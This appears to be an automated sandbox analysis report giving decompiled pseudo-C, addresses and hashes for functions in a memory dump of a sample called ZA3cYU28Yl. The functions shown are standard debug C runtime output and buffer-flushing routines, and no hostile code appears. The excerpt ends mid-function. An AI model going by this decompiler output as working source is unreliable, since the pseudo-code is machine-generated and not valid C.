GetConsoleOutputCP.KERNEL32(00000000,?,00000001,00000000,00000005,00000000,00000000), ref: 0043B1A9
WideCharToMultiByte.KERNEL32(00000000), ref: 0043B1B0
WriteConsoleA.KERNEL32(FFFFFFFE,00000000,?,?,00000000), ref: 0043B1D7

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: Console$ByteCharCreateFileMultiOutputWideWrite___initconout
String ID:
API String ID: 3432720595-0
Opcode ID: 2e505b59f9445fae67540edda801111be07d95f2257a770c0b1d1e54be55b13c
Instruction ID: be3c3c7f8091424c2170540da291a1c806cca115258802af2e8124d321fba732
Opcode Fuzzy Hash: 2e505b59f9445fae67540edda801111be07d95f2257a770c0b1d1e54be55b13c
Instruction Fuzzy Hash: 9C218334500204EBDF20DB54DD55BEB3778EB19354F10023AFB06962E0DB789985DB9E

Uniqueness

Uniqueness Score: -1.00%

Function 0043D023, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 124
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E0043D023() {
				signed int _t104;
				void* _t119;
				void* _t122;
				void* _t130;
				signed int _t179;
				void* _t193;
				void* _t194;
				void* _t195;
				void* _t197;

				if(( *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0x00000001) == 0) {
					L5:
					 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) | 0x00000002;
					 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0xffffffef;
					 *( *((intOrPtr*)(_t195 - 8)) + 4) = 0;
					 *(_t195 - 4) = 0;
					_t136 =  *(_t195 - 4);
					 *(_t195 - 0xc) =  *(_t195 - 4);
					if(( *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0x0000010c) != 0) {
						L10:
						if(( *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0x00000108) == 0) {
							 *(_t195 - 4) = 2;
							 *((short*)(_t195 - 0x14)) =  *(_t195 + 8) & 0x0000ffff;
							 *(_t195 - 0xc) = E00432DE0( *(_t195 - 0x10),  *(_t195 - 0x10), _t195 - 0x14,  *(_t195 - 4));
							L25:
							if( *(_t195 - 0xc) ==  *(_t195 - 4)) {
								_t104 =  *(_t195 + 8) & 0x0000ffff;
							} else {
								 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) | 0x00000020;
								_t104 = 0xffff;
							}
							goto L28;
						}
						if( *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)))) -  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8)) < 0) {
							_push(L"(\"inconsistent IOB fields\", stream->_ptr - stream->_base >= 0)");
							_push(0);
							_push(0xa0);
							_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\_flsbuf.c");
							_push(2);
							_t119 = L0041E000();
							_t197 = _t197 + 0x14;
							if(_t119 == 1) {
								asm("int3");
							}
						}
						 *(_t195 - 4) =  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)))) -  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8));
						 *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)))) =  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8)) + 2;
						 *( *((intOrPtr*)(_t195 - 8)) + 4) =  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 0x18)) - 2;
						if( *(_t195 - 4) <= 0) {
							if( *(_t195 - 0x10) == 0xffffffff ||  *(_t195 - 0x10) == 0xfffffffe) {
								 *((intOrPtr*)(_t195 - 0x18)) = 0x440f40;
							} else {
								 *((intOrPtr*)(_t195 - 0x18)) = (( *(_t195 - 0x10) & 0x0000001f) << 6) +  *((intOrPtr*)(0x54b840 + ( *(_t195 - 0x10) >> 5) * 4));
							}
							_t68 =  *((intOrPtr*)(_t195 - 0x18)) + 4; // 0xa80
							_t152 =  *_t68 & 0x00000020;
							if(( *_t68 & 0x00000020) == 0) {
								goto L23;
							} else {
								_t179 =  *(_t195 - 0x10);
								 *(_t195 - 0x20) = E00432AA0(_t152, _t179, _t179, 0, 0, 2);
								 *(_t195 - 0x1c) = _t179;
								if(( *(_t195 - 0x20) &  *(_t195 - 0x1c)) != 0xffffffff) {
									goto L23;
								}
								 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) | 0x00000020;
								_t104 = 0xffff;
								goto L28;
							}
						} else {
							 *(_t195 - 0xc) = E00432DE0( *((intOrPtr*)(_t195 - 8)),  *(_t195 - 0x10),  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8)),  *(_t195 - 4));
							L23:
							 *((short*)( *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8)))) =  *(_t195 + 8) & 0x0000ffff;
							goto L25;
						}
					}
					if( *((intOrPtr*)(_t195 - 8)) == E00426270() + 0x20 ||  *((intOrPtr*)(_t195 - 8)) == E00426270() + 0x40) {
						_t136 =  *(_t195 - 0x10);
						_t122 = E00433C10(_t130,  *(_t195 - 0x10), _t193, _t194,  *(_t195 - 0x10));
						_t197 = _t197 + 4;
						if(_t122 != 0) {
							goto L10;
						}
						goto L9;
					} else {
						L9:
						E00433B50(_t136,  *((intOrPtr*)(_t195 - 8)));
						_t197 = _t197 + 4;
						goto L10;
					}
				} else {
					 *( *((intOrPtr*)(_t195 - 8)) + 4) = 0;
					if(( *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0x00000010) == 0) {
						 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) | 0x00000020;
						_t104 = 0xffff;
						L28:
						return _t104;
					}
					 *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)))) =  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8));
					 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0xfffffffe;
					goto L5;
				}
			}

0x0043d05d
0x0043d0a9
0x0043d0b5
0x0043d0c4
0x0043d0ca
0x0043d0d1
0x0043d0d8
0x0043d0db
0x0043d0e9
0x0043d121
0x0043d12d
0x0043d235
0x0043d245
0x0043d25d
0x0043d260
0x0043d266
0x0043d281
0x0043d268
0x0043d274
0x0043d277
0x0043d277
0x00000000
0x0043d266
0x0043d13e
0x0043d140
0x0043d145
0x0043d147
0x0043d14c
0x0043d151
0x0043d153
0x0043d158
0x0043d15e
0x0043d160
0x0043d160
0x0043d15e
0x0043d16c
0x0043d17b
0x0043d189
0x0043d190
0x0043d1b2
0x0043d1d5
0x0043d1ba
0x0043d1d0
0x0043d1d0
0x0043d1df
0x0043d1e3
0x0043d1e6
0x00000000
0x0043d1e8
0x0043d1ee
0x0043d1fa
0x0043d1fd
0x0043d209
0x00000000
0x00000000
0x0043d217
0x0043d21a
0x00000000
0x0043d21a
0x0043d192
0x0043d1a9
0x0043d221
0x0043d230
0x00000000
0x0043d230
0x0043d190
0x0043d0f6
0x0043d105
0x0043d109
0x0043d10e
0x0043d113
0x00000000
0x00000000
0x00000000
0x0043d115
0x0043d115
0x0043d119
0x0043d11e
0x00000000
0x0043d11e
0x0043d05f
0x0043d062
0x0043d072
0x0043d09c
0x0043d09f
0x0043d286
0x0043d289
0x0043d289
0x0043d07d
0x0043d08b
0x00000000
0x0043d08b

APIs

__isatty.LIBCMTD ref: 0043D109
__getbuf.LIBCMTD ref: 0043D119
__write.LIBCMTD ref: 0043D1A1

Strings

("inconsistent IOB fields", stream->_ptr - stream->_base >= 0), xrefs: 0043D140
f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c, xrefs: 0043D14C

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: __getbuf__isatty__write
String ID: ("inconsistent IOB fields", stream->_ptr - stream->_base >= 0)$f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c
API String ID: 2861569966-4070537404
Opcode ID: 4e63ef4f023fe234b1fa40458d7a5fa6a39807068a050f51eb1d7dfc8c94af50
Instruction ID: 88ffa03b41274edb02378f91eb03a3266c87d6216bb5da1842192839395007b3
Opcode Fuzzy Hash: 4e63ef4f023fe234b1fa40458d7a5fa6a39807068a050f51eb1d7dfc8c94af50
Instruction Fuzzy Hash: EE51F674E00208EFDB14CF94D491AAEFBB1FF88324F148299E8496B395D635EA81CF44

Uniqueness

Uniqueness Score: -1.00%

Function 004265B1, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 123
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E004265B1() {
				signed int _t102;
				signed int _t104;
				signed int _t114;
				void* _t118;
				void* _t121;
				signed int _t126;
				void* _t129;
				signed int _t174;
				void* _t188;
				void* _t189;
				void* _t190;
				void* _t192;

				if(( *( *(_t190 - 8) + 0xc) & 0x00000001) == 0) {
					L5:
					 *( *(_t190 - 8) + 0xc) =  *( *(_t190 - 8) + 0xc) | 0x00000002;
					 *( *(_t190 - 8) + 0xc) =  *( *(_t190 - 8) + 0xc) & 0xffffffef;
					 *( *(_t190 - 8) + 4) = 0;
					 *(_t190 - 4) = 0;
					_t135 =  *(_t190 - 4);
					 *(_t190 - 0xc) =  *(_t190 - 4);
					if(( *( *(_t190 - 8) + 0xc) & 0x0000010c) != 0) {
						L10:
						if(( *( *(_t190 - 8) + 0xc) & 0x00000108) == 0) {
							 *(_t190 - 4) = 1;
							 *(_t190 - 0xc) = E00432DE0( *(_t190 - 4),  *(_t190 - 0x10), _t190 + 8,  *(_t190 - 4));
							L25:
							if( *(_t190 - 0xc) ==  *(_t190 - 4)) {
								_t102 =  *(_t190 + 8) & 0x000000ff;
							} else {
								_t104 =  *( *(_t190 - 8) + 0xc) | 0x00000020;
								 *( *(_t190 - 8) + 0xc) = _t104;
								_t102 = _t104 | 0xffffffff;
							}
							goto L28;
						}
						if( *( *(_t190 - 8)) -  *((intOrPtr*)( *(_t190 - 8) + 8)) < 0) {
							_push(L"(\"inconsistent IOB fields\", stream->_ptr - stream->_base >= 0)");
							_push(0);
							_push(0xa0);
							_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\_flsbuf.c");
							_push(2);
							_t118 = L0041E000();
							_t192 = _t192 + 0x14;
							if(_t118 == 1) {
								asm("int3");
							}
						}
						 *(_t190 - 4) =  *( *(_t190 - 8)) -  *((intOrPtr*)( *(_t190 - 8) + 8));
						 *( *(_t190 - 8)) =  *((intOrPtr*)( *(_t190 - 8) + 8)) + 1;
						 *( *(_t190 - 8) + 4) =  *((intOrPtr*)( *(_t190 - 8) + 0x18)) - 1;
						if( *(_t190 - 4) <= 0) {
							if( *(_t190 - 0x10) == 0xffffffff ||  *(_t190 - 0x10) == 0xfffffffe) {
								 *((intOrPtr*)(_t190 - 0x14)) = 0x440f40;
							} else {
								 *((intOrPtr*)(_t190 - 0x14)) = (( *(_t190 - 0x10) & 0x0000001f) << 6) +  *((intOrPtr*)(0x54b840 + ( *(_t190 - 0x10) >> 5) * 4));
							}
							_t68 =  *((intOrPtr*)(_t190 - 0x14)) + 4; // 0xa80
							_t149 =  *_t68 & 0x00000020;
							if(( *_t68 & 0x00000020) == 0) {
								goto L23;
							} else {
								_t174 =  *(_t190 - 0x10);
								 *(_t190 - 0x1c) = E00432AA0(_t149, _t174, _t174, 0, 0, 2);
								 *(_t190 - 0x18) = _t174;
								if(( *(_t190 - 0x1c) &  *(_t190 - 0x18)) != 0xffffffff) {
									goto L23;
								}
								_t114 =  *(_t190 - 8);
								 *(_t114 + 0xc) =  *( *(_t190 - 8) + 0xc) | 0x00000020;
								_t102 = _t114 | 0xffffffff;
								goto L28;
							}
						} else {
							 *(_t190 - 0xc) = E00432DE0( *(_t190 - 8),  *(_t190 - 0x10),  *((intOrPtr*)( *(_t190 - 8) + 8)),  *(_t190 - 4));
							L23:
							 *((char*)( *((intOrPtr*)( *(_t190 - 8) + 8)))) =  *(_t190 + 8);
							goto L25;
						}
					}
					if( *(_t190 - 8) == E00426270() + 0x20 ||  *(_t190 - 8) == E00426270() + 0x40) {
						_t135 =  *(_t190 - 0x10);
						_t121 = E00433C10(_t129,  *(_t190 - 0x10), _t188, _t189,  *(_t190 - 0x10));
						_t192 = _t192 + 4;
						if(_t121 != 0) {
							goto L10;
						}
						goto L9;
					} else {
						L9:
						E00433B50(_t135,  *(_t190 - 8));
						_t192 = _t192 + 4;
						goto L10;
					}
				} else {
					 *( *(_t190 - 8) + 4) = 0;
					if(( *( *(_t190 - 8) + 0xc) & 0x00000010) == 0) {
						_t126 =  *(_t190 - 8);
						 *( *(_t190 - 8) + 0xc) =  *(_t126 + 0xc) | 0x00000020;
						_t102 = _t126 | 0xffffffff;
						L28:
						return _t102;
					}
					 *( *(_t190 - 8)) =  *((intOrPtr*)( *(_t190 - 8) + 8));
					 *( *(_t190 - 8) + 0xc) =  *( *(_t190 - 8) + 0xc) & 0xfffffffe;
					goto L5;
				}
			}

0x004265e9
0x00426633
0x0042663f
0x0042664e
0x00426654
0x0042665b
0x00426662
0x00426665
0x00426673
0x004266ab
0x004266b7
0x004267b6
0x004267d1
0x004267d4
0x004267da
0x004267f3
0x004267dc
0x004267e2
0x004267e8
0x004267eb
0x004267eb
0x00000000
0x004267da
0x004266c8
0x004266ca
0x004266cf
0x004266d1
0x004266d6
0x004266db
0x004266dd
0x004266e2
0x004266e8
0x004266ea
0x004266ea
0x004266e8
0x004266f6
0x00426705
0x00426713
0x0042671a
0x0042673c
0x0042675f
0x00426744
0x0042675a
0x0042675a
0x00426769
0x0042676d
0x00426770
0x00000000
0x00426772
0x00426778
0x00426784
0x00426787
0x00426793
0x00000000
0x00000000
0x0042679e
0x004267a1
0x004267a4
0x00000000
0x004267a4
0x0042671c
0x00426733
0x004267a9
0x004267b2
0x00000000
0x004267b2
0x0042671a
0x00426680
0x0042668f
0x00426693
0x00426698
0x0042669d
0x00000000
0x00000000
0x00000000
0x0042669f
0x0042669f
0x004266a3
0x004266a8
0x00000000
0x004266a8
0x004265eb
0x004265ee
0x004265fe
0x0042661c
0x00426628
0x0042662b
0x004267f8
0x004267fb
0x004267fb
0x00426609
0x00426617
0x00000000
0x00426617

APIs

__isatty.LIBCMTD ref: 00426693
__getbuf.LIBCMTD ref: 004266A3
__write.LIBCMTD ref: 0042672B

Strings

("inconsistent IOB fields", stream->_ptr - stream->_base >= 0), xrefs: 004266CA
f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c, xrefs: 004266D6

Memory Dump Source

Source File: 00000001.00000002.282871844.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.282862446.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.282935357.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282945954.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.282950841.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ZA3cYU28Yl.jbxd

Similarity

API ID: __getbuf__isatty__write
String ID: ("inconsistent IOB fields", stream->_ptr - stream->_base >= 0)$f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c
API String ID: 2861569966-4070537404
Opcode ID: 3d4d91ef54f97070c88f46c8e9b1dc20defff80ac8ab4b06b126af9c05cf2377
Instruction ID: d1fa4d5bdc8dd286aab3767737ea6dc7ebc931d659503f2d084e3142d30d0b99
Opcode Fuzzy Hash: 3d4d91ef54f97070c88f46c8e9b1dc20defff80ac8ab4b06b126af9c05cf2377
Instruction Fuzzy Hash: 2651EA78B00218EFDB04CF94D491AADFBB1FF88324F658299D8456B395D635EA81CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00434D84, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E00434D84(void* __ebx, void* __edi, void* __esi) {
				signed int _t499;
				void* _t504;
				signed int _t506;
				void* _t526;
				void* _t528;
				signed int _t536;
				void* _t555;
				void* _t556;
				signed int _t557;
				void* _t559;

				L0:
				while(1) {
					L0:
					_t556 = __esi;
					_t555 = __edi;
					_t528 = __ebx;
					 *(_t557 - 0x30) = 8;
					while(1) {
						L146:
						 *(__ebp - 0x260) = 7;
						while(1) {
							L148:
							 *(__ebp - 8) = 0x10;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
							__eflags =  *(__ebp - 0x10) & 0x00000080;
							if(( *(__ebp - 0x10) & 0x00000080) != 0) {
								 *(__ebp - 0x14) = 0x30;
								 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
								__eflags =  *(__ebp - 0x260) + 0x51;
								 *((char*)(__ebp - 0x13)) = __al;
								 *(__ebp - 0x1c) = 2;
							}
							while(1) {
								L153:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
										__eflags =  *(__ebp - 0x10) & 0x00000020;
										if(( *(__ebp - 0x10) & 0x00000020) == 0) {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												__eax = E00428150(__ebp + 0x14);
												__edx = 0;
												__eflags = 0;
												 *(__ebp - 0x2b8) = __eax;
												 *(__ebp - 0x2b4) = 0;
											} else {
												__eax = __ebp + 0x14;
												__eax = E00428150(__ebp + 0x14);
												asm("cdq");
												 *(__ebp - 0x2b8) = __eax;
												 *(__ebp - 0x2b4) = __edx;
											}
										} else {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												E00428150(__ebp + 0x14) = __ax & 0x0000ffff;
												asm("cdq");
												 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
												 *(__ebp - 0x2b4) = __edx;
											} else {
												__eax = __ebp + 0x14;
												__eax = E00428150(__ebp + 0x14);
												__ax = __eax;
												asm("cdq");
												 *(__ebp - 0x2b8) = __eax;
												 *(__ebp - 0x2b4) = __edx;
											}
										}
									} else {
										__eax = __ebp + 0x14;
										 *(__ebp - 0x2b8) = E00428170(__ebp + 0x14);
										 *(__ebp - 0x2b4) = __edx;
									}
								} else {
									__ecx = __ebp + 0x14;
									 *(__ebp - 0x2b8) = E00428170(__ebp + 0x14);
									 *(__ebp - 0x2b4) = __edx;
								}
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
								__eflags =  *(__ebp - 0x10) & 0x00000040;
								if(( *(__ebp - 0x10) & 0x00000040) == 0) {
									goto L170;
								}
								L166:
								__eflags =  *(__ebp - 0x2b4);
								if(__eflags > 0) {
									goto L170;
								}
								L167:
								if(__eflags < 0) {
									L169:
									 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b8));
									__edx =  *(__ebp - 0x2b4);
									asm("adc edx, 0x0");
									__edx =  ~( *(__ebp - 0x2b4));
									 *(__ebp - 0x2c0) =  ~( *(__ebp - 0x2b8));
									 *(__ebp - 0x2bc) =  ~( *(__ebp - 0x2b4));
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									L171:
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
									__eflags =  *(__ebp - 0x10) & 0x00008000;
									if(( *(__ebp - 0x10) & 0x00008000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
										__eflags =  *(__ebp - 0x10) & 0x00001000;
										if(( *(__ebp - 0x10) & 0x00001000) == 0) {
											__edx =  *(__ebp - 0x2c0);
											__eax =  *(__ebp - 0x2bc);
											__eax =  *(__ebp - 0x2bc) & 0x00000000;
											__eflags = __eax;
											 *(__ebp - 0x2bc) = __eax;
										}
									}
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) >= 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										__eflags =  *(__ebp - 0x30) - 0x200;
										if( *(__ebp - 0x30) > 0x200) {
											 *(__ebp - 0x30) = 0x200;
										}
									} else {
										 *(__ebp - 0x30) = 1;
									}
									 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
									__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
									if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
										 *(__ebp - 0x1c) = 0;
									}
									__eax = __ebp - 0x49;
									 *(__ebp - 4) = __ebp - 0x49;
									while(1) {
										L181:
										__ecx =  *(__ebp - 0x30);
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										__eflags =  *(__ebp - 0x30);
										if( *(__ebp - 0x30) > 0) {
											goto L183;
										}
										L182:
										 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
										__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
										if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
											L186:
											__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
											 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
											__ecx =  *(__ebp - 4);
											__ecx =  *(__ebp - 4) + 1;
											 *(__ebp - 4) = __ecx;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
											__eflags =  *(__ebp - 0x10) & 0x00000200;
											if(( *(__ebp - 0x10) & 0x00000200) == 0) {
												while(1) {
													L190:
													__eflags =  *(__ebp - 0x28);
													if( *(__ebp - 0x28) != 0) {
														goto L216;
													}
													L191:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
														__eflags =  *(__ebp - 0x10) & 0x00000100;
														if(( *(__ebp - 0x10) & 0x00000100) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
															__eflags =  *(__ebp - 0x10) & 0x00000001;
															if(( *(__ebp - 0x10) & 0x00000001) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
																__eflags =  *(__ebp - 0x10) & 0x00000002;
																if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																	 *(__ebp - 0x14) = 0x20;
																	 *(__ebp - 0x1c) = 1;
																}
															} else {
																 *(__ebp - 0x14) = 0x2b;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															 *(__ebp - 0x14) = 0x2d;
															 *(__ebp - 0x1c) = 1;
														}
													}
													 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x2c4) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
													__eflags =  *(__ebp - 0x10) & 0x0000000c;
													if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
														__edx = __ebp - 0x24c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x2c4);
														__eax = E00428080(0x20,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
													}
													__edx = __ebp - 0x24c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x1c);
													__edx = __ebp - 0x14;
													E004280C0( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x24c) =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) & 0x00000008;
													__eflags =  *(__ebp - 0x10) & 0x00000008;
													if(( *(__ebp - 0x10) & 0x00000008) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) == 0) {
															__edx = __ebp - 0x24c;
															__eax =  *(__ebp + 8);
															__ecx =  *(__ebp - 0x2c4);
															__eax = E00428080(0x30,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
														}
													}
													__eflags =  *(__ebp - 0xc);
													if( *(__ebp - 0xc) == 0) {
														L212:
														__ecx = __ebp - 0x24c;
														__edx =  *(__ebp + 8);
														__eax =  *(__ebp - 0x24);
														__ecx =  *(__ebp - 4);
														__eax = E004280C0(__ecx, __ecx,  *(__ebp - 0x24),  *(__ebp + 8), __ebp - 0x24c);
														goto L213;
													} else {
														L204:
														__eflags =  *(__ebp - 0x24);
														if( *(__ebp - 0x24) <= 0) {
															goto L212;
														}
														L205:
														 *(__ebp - 0x2dc) = 0;
														__edx =  *(__ebp - 4);
														 *(__ebp - 0x2c8) =  *(__ebp - 4);
														__eax =  *(__ebp - 0x24);
														 *(__ebp - 0x2cc) =  *(__ebp - 0x24);
														while(1) {
															L206:
															__ecx =  *(__ebp - 0x2cc);
															 *(__ebp - 0x2cc) =  *(__ebp - 0x2cc) - 1;
															 *(__ebp - 0x2cc) =  *(__ebp - 0x2cc) - 1;
															__eflags = __ecx;
															if(__ecx == 0) {
																break;
															}
															L207:
															__eax =  *(__ebp - 0x2c8);
															 *(__ebp - 0x32e) =  *( *(__ebp - 0x2c8));
															__edx =  *(__ebp - 0x32e) & 0x0000ffff;
															__eax = __ebp - 0x2d8;
															__ecx = __ebp - 0x2d0;
															 *(__ebp - 0x2dc) = E00434010(__ebp - 0x2d0, __ebp - 0x2d8, 6,  *(__ebp - 0x32e) & 0x0000ffff);
															 *(__ebp - 0x2c8) =  *(__ebp - 0x2c8) + 2;
															 *(__ebp - 0x2c8) =  *(__ebp - 0x2c8) + 2;
															__eflags =  *(__ebp - 0x2dc);
															if( *(__ebp - 0x2dc) != 0) {
																L209:
																 *(__ebp - 0x24c) = 0xffffffff;
																break;
															}
															L208:
															__eflags =  *(__ebp - 0x2d0);
															if( *(__ebp - 0x2d0) != 0) {
																L210:
																__eax = __ebp - 0x24c;
																__ecx =  *(__ebp + 8);
																__edx =  *(__ebp - 0x2d0);
																__ebp - 0x2d8 = E004280C0( *(__ebp + 8), __ebp - 0x2d8,  *(__ebp - 0x2d0),  *(__ebp + 8), __ebp - 0x24c);
																continue;
															}
															goto L209;
														}
														L211:
														L213:
														__eflags =  *(__ebp - 0x24c);
														if( *(__ebp - 0x24c) >= 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
															__eflags =  *(__ebp - 0x10) & 0x00000004;
															if(( *(__ebp - 0x10) & 0x00000004) != 0) {
																__eax = __ebp - 0x24c;
																__ecx =  *(__ebp + 8);
																__edx =  *(__ebp - 0x2c4);
																__eax = E00428080(0x20,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
															}
														}
													}
													L216:
													__eflags =  *(__ebp - 0x20);
													if( *(__ebp - 0x20) != 0) {
														 *(__ebp - 0x20) = L0041C1C0( *(__ebp - 0x20), 2);
														 *(__ebp - 0x20) = 0;
													}
													while(1) {
														L218:
														 *(_t557 - 0x251) =  *( *(_t557 + 0xc));
														_t547 =  *(_t557 - 0x251);
														 *(_t557 + 0xc) =  *(_t557 + 0xc) + 1;
														if( *(_t557 - 0x251) == 0 ||  *(_t557 - 0x24c) < 0) {
															break;
														} else {
															if( *(_t557 - 0x251) < 0x20 ||  *(_t557 - 0x251) > 0x78) {
																 *(_t557 - 0x310) = 0;
															} else {
																 *(_t557 - 0x310) =  *( *(_t557 - 0x251) +  &M00407DE8) & 0xf;
															}
														}
														L7:
														 *(_t557 - 0x250) =  *(_t557 - 0x310);
														_t506 =  *(_t557 - 0x250) * 9;
														_t536 =  *(_t557 - 0x25c);
														_t547 = ( *(_t506 + _t536 + 0x407e08) & 0x000000ff) >> 4;
